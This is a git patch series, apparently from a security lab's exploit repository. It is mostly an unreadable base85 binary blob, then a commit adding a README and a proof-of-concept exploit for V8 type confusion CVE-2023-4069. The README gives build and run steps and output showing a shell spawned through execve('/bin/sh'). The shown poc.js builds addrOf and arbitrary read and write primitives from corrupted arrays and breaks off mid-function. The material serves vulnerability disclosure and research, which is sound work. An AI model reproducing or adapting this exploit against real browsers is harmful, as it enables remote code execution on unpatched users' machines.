zuxuJBK_N8mq6T=^IkM?q|JR1?;FT*y9?fhfAb`dA+XMBQmFmTs>a*1*(#?nSDug(! zdIJM>xVDbBuU*n8(p~DMvF@IA+8kf^6O!Cc=>FlE>I_cBJJ$IZ^?4UaC51n3uT_c; zoVgX1x^D;<`bxR2Xpg~;aGPM2h-((;!WZ1RHNb2Q*6+YKo35!eeSJl2 zvEs^UWn*LGb{sfsP*Ch!ISqz_A1}AlJDfGb&wgq|sGX@6098%lT)vA6Kvk3(XS-vm zN#DF;WDv9+;-2RNyBOAJ+*b($B!TPfUUpjy|be8Q!HL7Lp8YDZ>O{vn8HB! z1{U(qxIx1qeDiSKf+zh-oV9Rz6j z<2Qa;3eimX^&=btgu}fXYsaIfc)jxUbTnTl=O-#~2F{TVu29e9=s3$tMj@Eb z64YQYKf**a@dqtJ^*jW<6v(%O!8F?#9gN((dGjqEkN1>r0IJ$?vLRpyZleVjx94&K zo(@bJDOW8w*c5Rc>=sHc-WgW@)0N5nJbboR+jUPheeFFasOiSayYL|aQsOL}m85!gT zYA)kzfOot{@KAu$s$hsl;a5@9zzsIyKGdU8>E{RJsBjEn+<uLq6K6_*R=fUdg zYVnJX_nw0web75PN&`l3z@1-n6PR>lp#cpz95K{Zux9eGX04hHOkkNYB`Rk()epN! zKy^Bkgt&6b`IXSqp%CsVt5vay%?N^@5_fnA{Oai%6mBhS zbN?Fx-Yu~^c5T2Kb2jaH74U;9=Tp5YT;DI+*YD2>du&X8+RZH}1s^S(}5eu}lN}`x$Gj z`IwZ)hVeyma@lC6&?ReeOiZSg4<^qj9JK1$%`0(VA3){gM;qjn11Wz*Z~87EpKC*F zj=~hWKZZirKcyy6JK>NO^)~?OrT{8(P80HHz-9cB?b|Wylq~Mad+yvhLcatU_9i`j zB!Hs;c>ht)J~5Mk@qvL605EW$apEn3VzW>-|`UNAAOqPmd;0C@DsMuy+*24FfqFvME$^ zvK6-WU>zYv=liRd%6Xo^HsGgAt~wtN1(Q3wMu71-#OfhHh7-X4BJ-UT+6C&Yj{QnP z1M4bjQll8#sUe^)n}E(1vGE}I%U}eA83BHo%i#FFq*`MwK<)UtL_x}m`v_A6^UXIx z_;q0^y>|%ix{;HECqUpGI|T+Gz2-c=mLY1hi3SZ$-l&5KA;#qDr$HlNccuVBC5aRgwQ3k#NE;o+TCFd$-#vJp*DjIy5)2q_>< z=$W<{fFV*{>2|}e0#)?S6oc(pC6A!p2$)g<07*Z31k4FxJ{zmm#E1q9K@3RVs)fJ~ zP>ly<)#rgN6a)!~VNvPAt`Vl2@OQKw)O*yY2>t-*3)Dd!DinBr?AYTKAO6k{2sogH z!NGv8?66Xj;O|fri+T7J_4X~ulQkRR28zTr6<`^tf&ChsUg%B7V1NyviZk-_Tmc?~Cio1p zZ1s3dQ7b`l1^VU@PzGwClq3&^ySs$JL8ACu6Wgh~O;e3Q7GY@|CxQwwAky1YEDhD> zq{sFInY2dGl1&Z28FT93aNL;us?%5jQW%??k+9l{feL`S&vhoD3Bp3a9l&PQ>2IW5 zVar7bKbf9#u+k$ zV=n}N$v+}(kcr|20e8N3F$1zdPbi(nQ3<&G3Y=9;BO@b($o#j91a^z<41q%@a0wt0 zL+Jcqt)^%q*dtdrdq1|wXExtkk(_6cfIb6TrI+Sh{=fAU-z$Km3s5Ysa@}E(k*$Pa z7mN7?+0X;)UPo-f9AuGzeb#p$cXh-JXmy_-Q3j2IMO1ffQy(BM06oH5ST_jCMF*hwrx8_jZwr25rG6$G$;fG0hyABAR-b)KoG%* zih?r8JhtW}5o9`|f-)weAR-_j^UxRtl&OOV$k@n?NH@*c3{AiFadOT*P4cSlyRTl= zd+%aZA|>7b@csMSd+oK?-ajy|AM6qLKI(lWT2)!{<;k5JIzA+(1obE9$;`rnjadZ+ zYOU}xRgHI)B+ejnl2cb#?`WwI`p6wXOkBd?uhbXibUs-D-1LB;$tOtjbm%i9@fv|B z1W7&%e|;8{NHQEIy2500qTvK3B_;jCJzL#-4xkdZMQ68FX>&qcRf01Y3**@VP-Obq zs#R5YEl|XCb5nx#oxxv+9=-{oJK`9n<>q5)!YnD21`>|nKr>DH_m{pPfi6nLRZDZ( zoE{oYP22Z7Wc3L2MNvh@!v`V^6=rtqdk<@0XPDH@%JX5z_XAF&;4$eTNdMW41+puf zRXBA&FHeQ=Ia*-fx%U(c`t;Z&nbU2I&-B@~IG@U!;Y`q}Vwn2vhXmf&w->xbxlG=Z zUqf-I6B*XEAys!!^ujq(t?1D|U$xtn4^-Kj&CKoJP+*QH9GaECRm_L;{(uHwrH5j_ zSEYX+MO#(m%Yw-di9!ll8;0O?wXqg%bxayu6{16!*$V)R{l-m*-kD9d{so@nC8Xj> zI3XUFrC8C2N-!`;+q2yF+h&O@Qau@-K+Yr8&dg&45kN3Yy#?d{!lUrNvhFF@u3bA= z<5VY8L=aSOY_QD5g2a?U)A2d-jh@Im3)+YaM}JsPzD7YFU=ARRQV$nka%ybAKaW-D zS*;Kd6r=@?XXDgseV;Ys3@UY^hnG5)+VwPVp~Y5kxA$@42tc z9g5edyWEZvJDvn-2K)E@0<}FAqs@wi?7-}a?g*>Jp7GMN%xc|NndC`=#o1JRMh?6D zUtXbOtjR7IkTZq^4g!sjs9FpVX;N_QoRK zG<;=cZPf%yR^UymOVed`Fpm>F>{6*lGzp{F?ZgqH3MdgnudjdN+%F1DL_E&>d)Nmh zA8Hdt7N!C~?f6`U`x$71U0Ka*fK!I+RBI9Gyx9I00SJv5V&>6>V{g@@wry+g(cn!) zW>lO9MeMK6ufZ;A*jfK^VbwEmOZe^ZCqD5i7&OG4GW(+T(q0jr5ELe738&wL3RlN~ zC`4s)Z$-r2yS^xzTOe2DJQwg;jW~IuxIJJLF$DR$E5q9r1$IdwXGsa%L#Zd?fg8G! z$j`|A?k6QBi9O|3+WD;24%+OuXz8k#uU@_S!RpDtJy1CipAa)IokB`8>4x14ukzEk z-FeRI$=UDShfOEs zUrdbY@=@@cP_^)ha4&^yI`~ zWJdA}6gZ;J9kt}-7wBSqs93X zI;~rL)h5a+%Z_0#kRYQ46ocKo)^fK;EK^|Mu&Vs80$F=hGdT zC@Yh|z+zcAwHWkcCV^)@mNyuwbuHtC*RYM%yF6FB7t?*v!{Ku<{gqZHD)K(CSTU(} zUZBX~X+D=Y^L!6KvX891vO?eFUGAA}$tJh_{qsWHOyvAh54|+7tj%`(WwXF%#`lLL zx|J2}TJs-FV1$ORydK__B_inPGC+uu7aRhoMgb8BtVgKrURhaJm)CpWKlJ$2aoi5} zUM_I#0o9S;_pe}vf&2$euSfD-k`w*B2O^KU6tKKT0y9Tec2~Ka0%}Em!YP*ZNqw}Z zHo7J4obEJ>H^XXQ#ZQ{qhkAUope@>K+YBwK*bOnE^ZfG2ndj1K-J?q@=d$8(M>)OZ2a#K=H zCK(CUa>t!hJWs9rlunDlGa@=D{CQe>DF&1x0MW%0>8Ko#l*G!awNVT%Ej-Sl^VQ9t zJt5@zKDb<#rg|l(IiN?#!;YLUU}9LUrm0EAu9Dy4dw!_-l)|h1>2meSNLu2+CEIsK z0V|9nU25JRNN_GZb+}Dl;>_vOzsz_iPux4ajo@Sg9|(Co(;GZ}gOc<}Wkd?c zIy>6rE(E27%8t!F@4 za_*MiE`HCeB-FW0<6-0aq=xL|0%o~{ghYg9bIz01G2XwjvXf(OWM*dWSc>NiJ(HlI zLP`$dPrO;47CX(dpC*5ja&^^?R2xG*m>ACbr~$QnS|7N_Dg(9q`FAXsgZ|-7uLz zL|NzG?kefkVD1;y$=UgUrY0ETiWm(I_|0Luh6YSoi133y*2hq1CZwM6ZhG2Yyy%B4 zvn-X^9TvVCaN!k{SY2B#e$_$WCnu)0M z$Xt8x(wVu}`wNrecFJb#rO#J7XDTZ$se0Idyxnl?i+!2(9B#?;zM}a9JiWT_SWM1mfPUK~L`{8xKj7sDaEvH^WK z{DK6(POT^>nYp}ZYEoa7(L(+Bb}K=`hB4*eTrT*gzt`CsDVvDnlZ=dvAs z3%F<`F}10{{JCT9Y008HZY8j2#n7%*c4Yk4?KiW^z`dK#awt}Lxl$C38imc}akVWg zjX!&MQPs7x^T)>-C=_by>XzUB8^Xw*ZNKY63jXV^y0=HyJ3zwDE2WBe-JN`!fEzR>UhAKMDJ#VHBLNUHcl*BCqdy6dH8Duv z5P=A>J-i+|x!k%e_Tjd`?IXR_gtb5<&%Kh5lo!N^yn=#WpE}6PlEd^C{BC4yOv}-6_<^Te zeO{|VcdK?|mYu~kc!0}rtHyO-YSR$R(i$4&IQj0wsK6i2#wqBKG0Khr5ru0_5CrF8g&5zz`<%PdAF(;>Wf2<+pwoN3slN_>pM}3R-~eiDN30 z>)B(S3Q?7j#tD6{1fS z0Figs5!Hc?-+$d-U0*MRR1Pf~=ib;Owr$?$bfKb?f!Ig%I$(Cn)^)JqDaf9$eaRT& z291=6*d1r)O>Zvi(R=2Tgrd%Av5VM^Ym@opuoQclS9(5W90W2>|1K^&N>s;;5$#{Q zCtWUUhhOV^-xlwOC#V;c_ByXDUhF-nljYb`^_YHZ$wL^}=5eUmOJ6?j^2;Sio-n8t z_x4CLNHK9>AW6jHLH0kj0A4HkYskyX zZySobKm+=f?I6FyMsbiD4pOC#eyBAp#e=EsA;*Wz;!A^Ts3vOWbIr=X8FJgO%k;Rr z#+|3GD1zLI=6_oDnJT|hvY%Lf9vCwq5`h0yh0CM<4i9x8JnmLW$~oe>U=X&iOoOg! zQ&CMJ4)O$K=v{edQctX>$eKRe-dz>=rq%NBPx@^dh2*V@+WexblsMkByo+sm*0EkT(G|LQTQxe zwxJ;NEQklJU;I#x(Oc906WeYj9DX61W27FF;ssGJsUYf%e}^kA%{D+)qrF(jBEZhO z|KuGG@R0tF{DSUqo5xkU*<1z6;R> zKD!kvBtubgRAk@^OGWJR1xebDjAEmhSP-zxJ5u?Ee*Om5NyP`6qf&%O5JDHMt#4r6 z`$iZKb;C;DJk&*aLPAoJ!*Zv4o_YSm63b+9uKP%8HQi}9ir)kl`TFkAUpXgYiF9q# z=&A^byO@t+V=ClII`m!F|d-TYP9SR?|K!8#=a(AKV`EB2yzycH-${$sB-+~2HYv!1tJ1AaAjpBG9rXFqn3KN za2PQu>D}$4WiaEBNW^P!`#7McH{0d2wJHnh_qkLb5Yo%OUX6mm@nQEl>uysOzP#uh zikRTjq@uD_cFUi_>o8zR;kPbnAF7cj!6&;TNTuZPr0B)7uS5jp9J?zxZA&$jn2n%G zQsGn{TavVM|MgV|QcnaxE{)5(Gu}n-vV;Rg22t8v?>0W@NgMZ+vn&Z%KCXHU!OH7{ zLCg)pkiQ}296XEgnwwI&%zIYRf;|4J&P$Vx6m89Xl)O=6RO#lpT_a%>1C`UdO(kR7 zPTJ;dCB?q72Q6&4v@n0{rHk1 za*6aF$%slV$ZL+NM#Nn-bF5Twc>j}-k*FPzu$Q{V`wT=Fby89Rk9Ew%CV!(Fnh9>c zKFp;V!2^RRRk$yq8KRat7n;gSMqAireU6eoq9axtk@zI9LC zd-CpgoHFT@06^{hG#6xjNV9^MUjc<=p&cHFXZ+He8+HG3Twy30bybyaG3?L7 zu+y?}=i>FoFHvdUdw$?1-6sF8hiX%nT`(#+nwod{8>1+Z!&l-x7sY=Iyih9Uxf3E1 zg)STXe?4#rboz$Mdv{x31`%o_05gLOG=H@2kF7Id5Y%lU3U;dq}IKFOe(wWhZSd9^W6~{WD z$VrNmPvymV`2fNYQI~;%K_zRJl~ZMFLc?00n2@jooKc(;6YE4IaZ>Ae=FYW-4*f}4 zC2*~!Ph!fuz%uSa2D^bgfVXdtk8=rmM5GAeGz&y!%$j;+LnnAj$igd?={bj4IT_`= zz+O306dn$*CbX}3&{*9QY9Uy=z{dUl<%vnam+=-?i;vgdk zs0$c+YwTVaeb9Z#PR-zF?QkGDFKA(trmFxzH$%BXayr13JHv7MG3wi#nCK#b$Zq?r z^CZUtw_Y&`<|&ZSzG<{-dN0B}5kz!x<1TI@g!^pPyV-com`?l5*O||rd38D2wI4@; zi|9HO8D5SsncxZA{CDu`580p^QC-=zhwB3Bt<`I|GW%m%IlNs7Kvze#ws;_s*9MOE z*OyjBsdPZR6O34)OtdzSH}1twh8IGCKHTB*%ck!MX^t$#fi6tcY7usY${S?NHVO(t zc1iS0N>@4$0?n5qQC<(X8;tGV-3T|IjoTvaRA?v)npGnc*8xtGa5^8SprNujgB*-F zwtZG8rlFFjCGpTO5S$wX668U`ys5iEDXY{XSYcE1% zLz~K@`4iQdM4Z@Nbrj0Mk5AuUGlPhY6@nZSHv_j86dD=|MZ;;NO{8*I-t{<6fPQa} z6sc;K1PJdb`8a@LDDasglO-S^PznVNQ5_PoD`~d^kb}lYkc~n4m_U73*%8vBJyJj| z>o9in1`-kD_GU%A&9B0aY~P`-^28u#EKFA6XcBsHo|wTiLak&f z^HR5PhczVZUce#J1tLp&^?>fu$!G(Ec+Ttn3X4aZRYVrG)z#J26!6<{+h?~_T11rA zmtC_4PK6?CXDdWP!S@!b-W2fe-B0`gApjHjE>JNvP%4%^rY1nCM6wQgKJTJ`)?Wi3h92`)%lamvvCE3i7q@W?) z>JJ6}KGx&Rn^S0%#q|kGXlts@a5@MQSkDUzh|+GglnG1xG(dZ@Q%b|+o|vks`;DOs zL|O~x$je%hAD-B+Qnp#tcExEQ+BY>IaDPRuln^vVnhru5yQ)|HsvSFC@iIZDT;Q! z=t5G3VZSxduN57V!GUaZx@hNA+$^=?Ri`B$CDRs8r zi9#>;Q{(74z4Y$s7o^7fvyTkF3yQCS>M3l04GLGJFn>QiJ)Nmw3jtp?YQBjeQ=4c=}JR38c-=tjo^`o<`FM`B&`6ZE92mUZerr3c_wC=X8e?Xn1106{WQf z6~@F7I1Arpg8a(duUF>O6kKCGL|l_2sS5{YEDRuKP$;7llFc1!>OgwU1}CD|7mh7a zN*tAHJVbQN!YL+UGSNMPawgudI7_&qO1ux8&sPr_9>bN2vmmeDf~tll7h@Bfndu2O zD&^`xFeL>p-4*xbFeTj$VOZkK$8{amDXz4s7Kc(%*TWYrBr%P=ggRYHeF@p)=W~Xg z-7PZFSfJD%rIQY*Oqw1Dp1+%rnUTDMRu-c%o_4`AhX{kCwY58{H^YumNJ_SXgswrXD%*#(AZ}X&rArK#a7YnHE`WpXXsP*0 z$b4hWRCCXVPuy^XOL;>H%<&VY?c z-R>R53E%*TMvv490o(&c(qTx54@511H1S;J#TQ8Xzg8V@b|jewye)S97M(9yQ3$?#KddIQ-oNhN0V!!IrffSXCYY`?l|q#7j%?!9dHf84 zG~13hW=9e?PGsba^qe-!4|fnQ;%~*cjBUT31a6THb&wj_ABf$h8C3#Q&I@#7zqo7f z+Bt=7hzcBRb1iJsFRRr|y47OZi+{)k}YIzDVP=~33EaR%gbNLK0U_??BbHELv9>MytCpyXWYfT^4`Pz!;}A_67nf$V zGay)68^h7`g0wVc;*yp&J@(3*pyj4S$JUn-OU8|PNS_Y}m0*aC1 z8*vozPL;h^M^CXljLp2*#cT+RNS@u5f3sdw^IRjdH-RQ;*-{NqMVMl^W@{fBWUFr7 z_pC}@zLd0V9inxucJF-47;=s6U;wjlh^)Za%%S*p^f$W*2SA&Mp!xNnS`ryZm0VoJ zw}M}Dt6o#w&i*|YDIXEI5tSB#&tB%l+Tuj=n24>nf(a+xT-iriXBT{Y)sGYl>=}q` zhrWklMtaS=Qih8b2@rw_+b+P*N4qd(l+}xT8dUJPX7`>bIh46_qn{rX6%}O<*ilu) z&@SM(Zzgc{oJOHhT?Ft_@ozjsMTDOd;2uo$i0A3iqJpL3PYQ?1q#YoheF-`3rZ7RoIV7uKPQdb}b^MR9|y`DTz6&ZkuN4W2^OYz7k}C`ft~K^%#V zH{Psfy4i%yRz%K!uuIC=w&EJ048gX1?bW>}#t+Z;!J4(=c27Og@kC@>?L!4J9)ib@g&G*9zBq=2^yos37QYf$qQuwi6Pr+6Vu~v2Lo#pJvgH__{ zs(qad)BYp!eOYy>?1gP8MG}eqYy%Y1ien2~s;Z8#SxSG}8CxkcJgrYioU+oGYT*1$ zgY&l&&n{Ho{rjlqZ*_zqgGrttB32YM9O|EpD{3u$E~(KoJdsVRn~xKdiQRT)*NN}a z2|-8u7_&tL(m1kDQi8woux1kQLBh8sk~pMB`qpp5!HMCZB-3&O zwb4;@ZIPu!XGe=Cq6yxuRuZmYbEYBf9I2Lv8(a_8o|r@_i&$H;BVCPH=iz{Z?oB-i0Z!Hi5i3@wqSD}^9y{}r~NcSiS)o?OI zO(IA-2GMP}e_CZp@fo(09e?3N>BX|EQeW-1Cqx11sv=!@aN_>RCXrOCUu5^czTu+p z!Z{f|IYo$#dfLqBtRf98e>-Exnz_&V5S&U)O@W^l0A}r!@SgK8MO~W(Nk10}x^mu= zBOT^bnu{6@+__MOSmKpHY>1z}B#J3*6cKAD+8M7iGBcx@yZF|UVzqIBy{OjpBEp4h zOx)7&gPd_^H$6ri8`QwG=j@N^@w=x7Ktq5o*kcag&H?KyBukr48yr_!&OdJLs>kxH z{qp-361EylKPOgWGL~p{Dv%>JujV-EPeok{#Cv&(-sw_Ht^zc!F)t;9RgdMA-paX- zPBMOd)1xp7M=5aCHT28P_6|Y9JLLdQwYWLQ5saoViggzSs8YG=dNm~3#GiK%F*SR# z3fO}$NKeq3ndrrTVLNN(_bm?c&HnH>u{~Ctd*Kf~izVo9RAoMxPaXf61_7r(Ay$!@ zl8wYBUV|OMm_A?O{2ODf}$O`%vOGFzg$EFs-_D2YCHkK&BK{EKzfzt8@*&DWQN&wn;~5M2N{ zHh>D)A~6v1yYE#j=Z^KB$U@5`6%7(2Bbs1J3DE)uMwqb0#1sjC=#a90CR+6`7RTW1 z{f%zS<{T0gONg?Zv{<e3E;%hT>vu!Qfh#Bm1u7127#a@m65>l9mz`wl!)Ue8Q^rmFBS&P4a=kD|16<7Z4&0q z)LL*2H8pX&QK>cF`ezxE@giY*Tia3j#$u3Oyrm!#iOdSPJOY&m(w^sMpPG(JG*bS;uAb-yC#64X%Y$^2?cbTr=qo$Ic zr?g?I!?86B{(kk~htCh_ezEnNXJw&=zg`fHTX$%8LJhi;ZcEDsS*+RWZf|yEt3$%^ z;_FIA>->+K9IHNNay{zDFLzW|9@^OO#k#*QUUoxb`I^taKE2%D%GD!xxTwNj=)}hZ zA6+bah7-aY??qExd2!HPG> z#fC+<6NCx~|5ANvuh9DbstxpLk(MLWC{N~3XPQ;%bQS7kk7?504h6Nkr276ng%SP3 zBjW|VIQFYy)qPP%o;3}SMoJV4OOa^GM^rwlwO-*NLnb7WsXwF*{J_!AycY8-PoHjF zBuW|o$e>Z5v+ZPGR;E4SeQ?PW6s*1=kDfpDJe4qWgg(6@yRNHhENk57p=F~>o+!~V z;jbhkn{Nc|L(j1>K4TXXCs==XHQ!b_?JWF`k}WjNL^})QK8*}_*FwkK7F%5E1^G=x z@qYq+x}+N_wz@Y(*|omup=O?8gF;rVbuq~eNTs&Zy|8VWJ4jISag17ebc#QnqHOs7 z^rE(C$O6bJ6Hs(OiczIBA#B$Li0`moQs<^dPU^0Z-zwmvG|TZ8-V zr=S=SdbDTNx3q|Iv!1v8qZ=`CkWAwswR$4YAzh{K-o0Bw?{mo`+#nhCbl-|UhuwH~ zkvN5gY^#c;k5dzIk7?3|s3TGspQQMb43ZG67NA<7lOH)vc;$J_1srjGJutAlc}0Nd z_x4BEaV=|jM|d;M!*MYTN82r`-ma~V``a5NIveUngQD_?OoPn3`5e#KX~Y7JNsFCCd$E!$+JrC{ z#}dtfH{+zIw#Q$8na))kSKv;yPCG6sEf~)*-38;-iWRIpzehp>KY|5(n_wXH*;Ppi znY@o_U0(d-At;G&zFt~%;3&rVybBO@px-%XLRDmt<%2D*J0OVVXdG~XwrZDkM&qYP zxc6I``Q`4c``abT(`M{MMMV73u0HOn%v6h5L0+Y~?tom+CO%uDoHw1glCjW3rBzE4 zOIVTPGMSu>q6CW;gL#H1KOSpm+zHvDBflw-G{FaoD3)LrfEeN3VXE%Y+M(whqiGNX z%}n*tH}f6(>WY&EqaPMluBQkc5X2{st~DJbbpcxRIk&%;ZKT& zi);D5PKlJ=<#{ztA)@kNNaqg>DV;Zrg1vecUS4lb}yGCDcfXx^rRj&1bR6D}3~ zrgFP?ufah+jC#QSecj|9MA^7De|fLa-vMX0%@V z-TAh5rDyq1wZXP+MP-get$9(?R78)v#*G$49~47u51co%t+DLF=D_(dhgVbcQsc87 zaER>?R{7x_l3M8v0k~gubAD6LpF^H@fYXe&iEo9$=!DELc9yq;PM_sMg@sMt>j=eX z#j-Ay##8I3ybH$D)q)9Ahs+k;%1>xD>=FCPZ|Qb&dD8syvO$RjgAy(Ym$RDS?GE`- zg*J_hsrR^xxkry{j0ZXAwal

5}cmR=@juT*pAr3m1CxSL5oGuvlkJHe{F%{4mUa z?}J01c~Mlu96Q?3*aK%$u)V(U-8XhDJ3FRnQXRFnfAmp(KTdWZGa)qUtutU;L#n|$ z%gI1AQdS{e5hjWc?TLPlp~;8!^vDM4bXV_TzUDvG&dQ>tMUG3J^l0Tm;Ztp$vEiA^ zB)e;whfRj5Mz3DYGaeeA{k<2%mBTPFLJYHWRugfzD)0)K9)go_6~Lph(UBcF9-&#p ze|#Z2j=$p079Cu}0l4Sud4m1|9{%_53XY7OY3)-PiM!ay%YXaJc-M3l;cai}t2YQl zdtS4Pt@ef42nw2nE}t|0KlB>KZB@Z{SwgJyCL3_kWORT@=xDI)+3T%oKeRr?YLJ!> z;=G~R67cRH^`IKJ?<~J>l;}6d>C2>D6S&&5;sicIt}m}8h}chb57vQnRFmkXS7Rvr zJQ<_C(8(>_Vw)wti|ova?4|)kn-h0vqI~!J%VBtNdVKW-%>wga0k5`2#JJK*P2~RJ z32n2Qf+MjbkFL9U&IIn~w(3^CuNQrgq(sjueneSr+VCA|+9nR@fQatl(ra9&1`s~L z(d;f+$oH)iwTp{}H^TX0G)gHXj+jin9T9?R+~!fBE_vhBWf)qgyI6~@B7!C?j;xGF z!E93i&`?d^ZMAKD$18fgdvL*^*8;oHa}F4hGIRr|UjWXlfEABUZWjzmVQ zu9pnFxlu>EW27^IGihlN==bqsWKW=iVu`0qfyU1t_Djp};9q~CCU`Kz-3^yZTLifA z9QGbY@R3$OU*A*xV=tqo)P?ODJq)JVyh)*>nsPk~);havn}(m?*~s7Eef8XT(w-Fa zp`WhLs1~}8sBk&x#(2ef&l%U?cD$4GaL;$1svI`&uoLG&->P01X~}=HPXiVgt#>#( zZ9m=C%R|uL6V=nv`hqIVq7A*Mek?$DkHR&jY|gb(*5XH0r}AcrXiwB0c3^4YrYNt+`3!!ARndJM$83p) z`{YuG-jV%|$vf`*;*=JiUAt1xx%KDQPYWzn7vYUu=PB)#S1kFiz&%xKPVl|A{HpHW z+Nc|{;<;9>&Wg6)x@HQQvYRrrym}u8SLMyTd$}jo`K)KY`&5%m$zA@3@Z_KSGGUw- zQA!h&YNS`?oPV@;T^6e#U88^HNyfT*Tdz}_l_tg=qsJqr)Wt?kx%VsiM{*Ypr7yDg zt8%F-Q52tQ%aX}&K;89orZQ)O!%?8E&8xS_**VOQXzba`t{Q(Wcwn;noa})zfvQ|b)&)zaR!=d{_kElgNj7;iIxG>)!VBLxLodc(_9YmkCr^-z zhl+9Ii@sMOb7t)o4Iyw9eLm6fdZ|?))e|@8n9f|4zgntEs$GNkkuI|ljoXpY`_@~i zO?PcQ#V?eMpIQSvB9RiwJy)u1bd|##P zl*Plk`0$0JPt3N9(@Yzx#!PP|PsTjM#W=E0mG)q2`fr!*{1O$-R9Lz9Uxhh&^M5@w zjN9IWi;B_JrvHg?RcC;~r>O-cGxM?YlgPqqn>}r;*n|ExTuRy_Mtn5@F|955| zxvqp?uo?HYu*!stk$ES3B8J;=ziQ%oUaM%>N;{JwwK)qb{14m{D%LJjdq-rf6i)e1wfA&rZ}4iJ>^_mtDigRpbaKuyHmgv=I`^l{9F*^`+!{5N zzE(iSnyb<1sr^~Jq;4*MG^G%491@tM$7ZT!?dof88gCKYpYiLGB=6eXQ|vM0=?@`H zevejEww4msTi3$!$G7~|?aE)(aYof>slQ~nnsfagZJn7jXCUmxHQD{Qw(J;? zZA10cNiVdbU!L7*qjt?Mmic38{fDN!-J@yEQ~|yfEGi;^vM;4HOy_Qm8t)dJ>L`ri>6sO<8?!H#&iJdY=er2XxsC7|^x=awy5n+Q zAK~ZqW4w109CUm5_!r6iE;;+HS#DSVfsk`1AXx9Hm4p;nx2#XS?Bv;CS@C6g+FUf7 z-TAf*hz!ZdM?v$<^93ej%hDlN|I(8md0f@4Dq>Mok(?3iR`OV0Ss9aWt=%*Ee@V!O!M>XKaUjZQ6Wn4!*?Y z3S1S3p8GDj-2g)?@Lyz%Zdxh-(Xu;d0WY|yQVgw~9h%k<`{YX~Y);G$lqbNN9~`xX z?0%|38UO7qE|W+f&YBnvX(pDU7pa|$Jqxg!V-UZ6c8Q|e;yvCXMCPBYJ8*Ptdssf` z3^M#F$<90R<5B)AlF=djtV`U0(>^i|dK;uyn@vIwglsX_b;BEmO8(i?;gYA;AZmKG%$ zCC*vqtGb8NF4n}||M*3j(YgaXI}kObTZPQVCPP_CH%(&g4bX-EVv3Rfnym)`@nwXdPj_qWZ#w}&48IlZ2HUdnOb zIntlMN}K*ON!_2b@&81Ay?V|v%wNvGZPZ8etMjkb_zP}kes%uWSH~lFi4ukKIYmeF zo8$lbHu>Q%xRUuz|F0FAU!8v~#eZK9J;-~PWl7SMtKZDj)x0|@wjf|x(SNK9`ROZ( zIV5$F?_3H}av^`GVcl~^R8gt70kN=fT?*@Fz*WHUBSF7 zn0EzOfq7Rj?+WH!!GA|r@U~F&$+PO8zu!1>_{_l$i5-q>)_<9uIC}8oksZ<6M>In^ z{64?nvCQSv))jL5I4Mzja*KGXjs2$d(&61x5uYzSjWzqXKg<5a>dt?JEYJM9kX5)k zZw#}>u)BBis%B{^qr9QPq=CUZrWJd%p{YswZ_oQJG8!(Gy?C+TB&EJwUYu)0rGc{YMD@NOxb@>2ct_Wp(K&CeRjKKp zyef~e?{+~Jx;xG(HSg-_(HP*bzW;uMlKsA|t-sC=^A7*wci->h=8rZ#e*E#zU;AFE z`7+z(!W=Q0(cB{K>OYBQzxl6yr1@!s>SgX2n_WFe!j-h_stA)g^UTfD>dzOmGO;!# ziP75pa+1W6z=Av-0#+}^c^3z{! zFKF#Inw*%(c~akhg-W#uEid04QCW7y{bGzUo^8DpdFuc1hgEUJ&`|c2_yY0Tv%C8y z=M>_j`ncS+|M6k+QycHUrCXifCjVvz^V{U#76V&iew+NU9?SkO-6pMTjQlB-PsaYC z1(=U4^O1#L2RaW1XE*SCW;y literal 0 HcmV?d00001 From f956ca4e2f736b9f7b8cfbbcf3cb0e27ebd0eb61 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Tue, 17 Oct 2023 09:11:39 +0100 Subject: [PATCH 105/140] Initial commit --- .../Chrome/v8/CVE_2023_4069/README.md | 29 ++++ .../Chrome/v8/CVE_2023_4069/poc.js | 151 ++++++++++++++++++ 2 files changed, 180 insertions(+) create mode 100644 SecurityExploits/Chrome/v8/CVE_2023_4069/README.md create mode 100644 SecurityExploits/Chrome/v8/CVE_2023_4069/poc.js diff --git a/SecurityExploits/Chrome/v8/CVE_2023_4069/README.md b/SecurityExploits/Chrome/v8/CVE_2023_4069/README.md new file mode 100644 index 0000000..3a97676 --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE_2023_4069/README.md @@ -0,0 +1,29 @@ +## V8 type confusion CVE-2023-4069 + +The analysis of this bug can be found [here]( https://github.blog/2023-10-17-getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler). + +The exploit here is tested on `v8` version 11.5.150.16, which is the version shipped with Chrome 115.0.5790.98/99, the one before the bug is fixed, on Ubuntu 22.04. I have not tested it on Chrome itself. + +To test, check out `v8` at version 11.5.150.16 and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8` with the `maglev` flag (Chrome would have enabled this flag already): + +``` +./d8 --maglev poc.js +``` + +On Ubuntu 22.04, it should call `execve("/bin/sh")` to spawn a new process: + +``` +./d8 --maglev exploit.js +oobDblAddr: 421e9 +oobDblArr new length: 256 +oobDblAddr2: 42251 +oobObjAddr: 42299 +func Addr: 19bf6d +code Addr: 19eb79 +maglev Addr: e000d900 55d6 +$ +``` + +Shell code and some addresses may need changing on other platforms. + + diff --git a/SecurityExploits/Chrome/v8/CVE_2023_4069/poc.js b/SecurityExploits/Chrome/v8/CVE_2023_4069/poc.js new file mode 100644 index 0000000..d34f946 --- /dev/null +++ b/SecurityExploits/Chrome/v8/CVE_2023_4069/poc.js @@ -0,0 +1,151 @@ +function searchDblArrIndex(startAddr, corruptedArr, marker1, marker2, limit) { + var startIndex = getOffset(startAddr); + var end = getOffset(limit); + var addr = startAddr; + for (let idx = startIndex; idx < end; idx += 1) { + if (corruptedArr[idx] == 0x40504000/2 && corruptedArr[idx + 2] == 0x40508000/2) { + return idx - 3; + } + addr += 4; + } +} + +function searchObjArrIndex(startAddr, corruptedArr, limit) { + var startIndex = getOffset(startAddr); + var end = getOffset(limit); + for (let idx = startIndex; idx < end; idx += 1) { + if (corruptedArr[idx] == 0x414141 && corruptedArr[idx + 1] == 0x424242) { + return idx - 2; + } + } +} + + +function addrOf(obj, dblOffset) { + oobObjArr[0] = obj; + var addrDbl = oobDblArr[dblOffset]; + return ftoi32(addrDbl)[0]; +} + +function read(addr, dblArrOffset) { + var oldValue = oobDblArr[dblArrOffset]; + oobDblArr[dblArrOffset] = i32tof(addr, 2); + var out = ftoi32(oobDblArr2[0]); + oobDblArr[dblArrOffset] = oldValue; + return out; +} + +function write(addr, val1, val2, dblArrOffset) { + var oldValue = oobDblArr[dblArrOffset]; + oobDblArr[dblArrOffset] = i32tof(addr, 